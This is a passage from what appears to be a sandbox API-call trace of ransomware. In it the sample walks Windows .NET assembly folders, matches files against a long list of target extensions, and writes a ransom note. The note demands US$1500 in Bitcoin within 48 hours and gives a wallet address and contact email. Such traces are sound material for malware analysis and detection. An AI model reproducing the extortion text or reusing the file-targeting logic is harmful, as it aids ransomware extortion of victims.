(pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\*.*") returned="*.*" [0104.558] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\", lpString2="bfaf8f86e69928fb2f67987c0203f603" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603" [0104.558] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603") returned 100 [0104.558] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bc79ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9bc79ce, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9bc79ce, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.559] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.559] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bc79ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9bc79ce, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9bc79ce, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.559] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.559] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.559] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b8b04, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x96b8b04, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x998c529, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xdacc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0104.559] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.559] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.ni.dll") returned -1 [0104.559] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.ni.dll") returned -1 [0104.559] lstrcmpiA (lpString1="", lpString2="PresentationFramework.ni.dll") returned -1 [0104.559] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\*.*") returned="*.*" [0104.559] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\" [0104.559] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\") returned="" [0104.559] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\HOW TO DECRYPT FILES.txt" [0104.559] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationframewo#\\bfaf8f86e69928fb2f67987c0203f603\\how to decrypt files.txt")) returned 0xffffffff [0104.559] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationframewo#\\bfaf8f86e69928fb2f67987c0203f603\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.560] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.560] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.563] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.563] CloseHandle (hObject=0x90) returned 1 [0104.563] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\", lpString2="PresentationFramework.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll" [0104.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.ems") returned 0 [0104.563] lstrlenA (lpString="*.ems") returned 5 [0104.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.db") returned 0 [0104.563] lstrlenA (lpString="*.db") returned 4 [0104.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.dbf") returned 0 [0104.563] lstrlenA (lpString="*.dbf") returned 5 [0104.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.myox") returned 0 [0104.563] lstrlenA (lpString="*.myox") returned 6 [0104.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.myo") returned 0 [0104.563] lstrlenA (lpString="*.myo") returned 5 [0104.563] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.qbw") returned 0 [0104.564] lstrlenA (lpString="*.qbw") returned 5 [0104.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.qbb") returned 0 [0104.564] lstrlenA (lpString="*.qbb") returned 5 [0104.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.qbm") returned 0 [0104.564] lstrlenA (lpString="*.qbm") returned 5 [0104.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.qbo") returned 0 [0104.564] lstrlenA (lpString="*.qbo") returned 5 [0104.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.qbx") returned 0 [0104.564] lstrlenA (lpString="*.qbx") returned 5 [0104.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.qba") returned 0 [0104.564] lstrlenA (lpString="*.qba") returned 5 [0104.564] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.qby") returned 0 [0104.564] lstrlenA (lpString="*.qby") returned 5 [0104.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.qbj") returned 0 [0104.565] lstrlenA (lpString="*.qbj") returned 5 [0104.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.ofx") returned 0 [0104.565] lstrlenA (lpString="*.ofx") returned 5 [0104.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.qif") returned 0 [0104.565] lstrlenA (lpString="*.qif") returned 5 [0104.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.mye") returned 0 [0104.565] lstrlenA (lpString="*.mye") returned 5 [0104.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.mbox") returned 0 [0104.565] lstrlenA (lpString="*.mbox") returned 6 [0104.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.eml") returned 0 [0104.565] lstrlenA (lpString="*.eml") returned 5 [0104.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.pst") returned 0 [0104.565] lstrlenA (lpString="*.pst") returned 5 [0104.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.ost") returned 0 [0104.565] lstrlenA (lpString="*.ost") returned 5 [0104.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.idx") returned 0 [0104.565] lstrlenA (lpString="*.idx") returned 5 [0104.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.dbx") returned 0 [0104.566] lstrlenA (lpString="*.dbx") returned 5 [0104.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.sql") returned 0 [0104.566] lstrlenA (lpString="*.sql") returned 5 [0104.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.mdb") returned 0 [0104.566] lstrlenA (lpString="*.mdb") returned 5 [0104.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.fdb") returned 0 [0104.566] lstrlenA (lpString="*.fdb") returned 5 [0104.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.wab") returned 0 [0104.566] lstrlenA (lpString="*.wab") returned 5 [0104.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.dat") returned 0 [0104.566] lstrlenA (lpString="*.dat") returned 5 [0104.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.txt") returned 0 [0104.566] lstrlenA (lpString="*.txt") returned 5 [0104.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.jpeg") returned 0 [0104.566] lstrlenA (lpString="*.jpeg") returned 6 [0104.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.jpg") returned 0 [0104.566] lstrlenA (lpString="*.jpg") returned 5 [0104.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.png") returned 0 [0104.567] lstrlenA (lpString="*.png") returned 5 [0104.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.php") returned 0 [0104.567] lstrlenA (lpString="*.php") returned 5 [0104.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.cs") returned 0 [0104.567] lstrlenA (lpString="*.cs") returned 4 [0104.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.cpp") returned 0 [0104.567] lstrlenA (lpString="*.cpp") returned 5 [0104.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.rar") returned 0 [0104.567] lstrlenA (lpString="*.rar") returned 5 [0104.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.zip") returned 0 [0104.567] lstrlenA (lpString="*.zip") returned 5 [0104.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.html") returned 0 [0104.567] lstrlenA (lpString="*.html") returned 6 [0104.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.htm") returned 0 [0104.567] lstrlenA (lpString="*.htm") returned 5 [0104.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.xlsx") returned 0 [0104.567] lstrlenA (lpString="*.xlsx") returned 6 [0104.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.xls") returned 0 [0104.568] lstrlenA (lpString="*.xls") returned 5 [0104.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.mp4") returned 0 [0104.568] lstrlenA (lpString="*.mp4") returned 5 [0104.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.ppt") returned 0 [0104.568] lstrlenA (lpString="*.ppt") returned 5 [0104.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.pptx") returned 0 [0104.568] lstrlenA (lpString="*.pptx") returned 6 [0104.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.doc") returned 0 [0104.568] lstrlenA (lpString="*.doc") returned 5 [0104.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.dot") returned 0 [0104.568] lstrlenA (lpString="*.dot") returned 5 [0104.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.docx") returned 0 [0104.568] lstrlenA (lpString="*.docx") returned 6 [0104.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.7z") returned 0 [0104.568] lstrlenA (lpString="*.7z") returned 4 [0104.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.tar") returned 0 [0104.568] lstrlenA (lpString="*.tar") returned 5 [0104.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.bz2") returned 0 [0104.568] lstrlenA (lpString="*.bz2") returned 5 [0104.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.gz") returned 0 [0104.568] lstrlenA (lpString="*.gz") returned 4 [0104.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.mkv") returned 0 [0104.569] lstrlenA (lpString="*.mkv") returned 5 [0104.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.eml") returned 0 [0104.569] lstrlenA (lpString="*.eml") returned 5 [0104.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.msg") returned 0 [0104.569] lstrlenA (lpString="*.msg") returned 5 [0104.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.edb") returned 0 [0104.569] lstrlenA (lpString="*.edb") returned 5 [0104.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.accdb") returned 0 [0104.569] lstrlenA (lpString="*.accdb") returned 7 [0104.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.odb") returned 0 [0104.569] lstrlenA (lpString="*.odb") returned 5 [0104.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.java") returned 0 [0104.569] lstrlenA (lpString="*.java") returned 6 [0104.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.asm") returned 0 [0104.569] lstrlenA (lpString="*.asm") returned 5 [0104.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.pfx") returned 0 [0104.569] lstrlenA (lpString="*.pfx") returned 5 [0104.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.pem") returned 0 [0104.569] lstrlenA (lpString="*.pem") returned 5 [0104.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.p12") returned 0 [0104.570] lstrlenA (lpString="*.p12") returned 5 [0104.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.gpg") returned 0 [0104.570] lstrlenA (lpString="*.gpg") returned 5 [0104.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.vsd") returned 0 [0104.570] lstrlenA (lpString="*.vsd") returned 5 [0104.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.odg") returned 0 [0104.570] lstrlenA (lpString="*.odg") returned 5 [0104.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.raw") returned 0 [0104.570] lstrlenA (lpString="*.raw") returned 5 [0104.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.nef") returned 0 [0104.570] lstrlenA (lpString="*.nef") returned 5 [0104.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.svg") returned 0 [0104.570] lstrlenA (lpString="*.svg") returned 5 [0104.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.psd") returned 0 [0104.570] lstrlenA (lpString="*.psd") returned 5 [0104.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.vmx") returned 0 [0104.570] lstrlenA (lpString="*.vmx") returned 5 [0104.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.vmdk") returned 0 [0104.570] lstrlenA (lpString="*.vmdk") returned 6 [0104.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.vdi") returned 0 [0104.571] lstrlenA (lpString="*.vdi") returned 5 [0104.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.lay6") returned 0 [0104.571] lstrlenA (lpString="*.lay6") returned 6 [0104.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.mpeg") returned 0 [0104.571] lstrlenA (lpString="*.mpeg") returned 6 [0104.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.djvu") returned 0 [0104.571] lstrlenA (lpString="*.djvu") returned 6 [0104.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.tiff") returned 0 [0104.571] lstrlenA (lpString="*.tiff") returned 6 [0104.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.backup") returned 0 [0104.571] lstrlenA (lpString="*.backup") returned 8 [0104.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.pdf") returned 0 [0104.571] lstrlenA 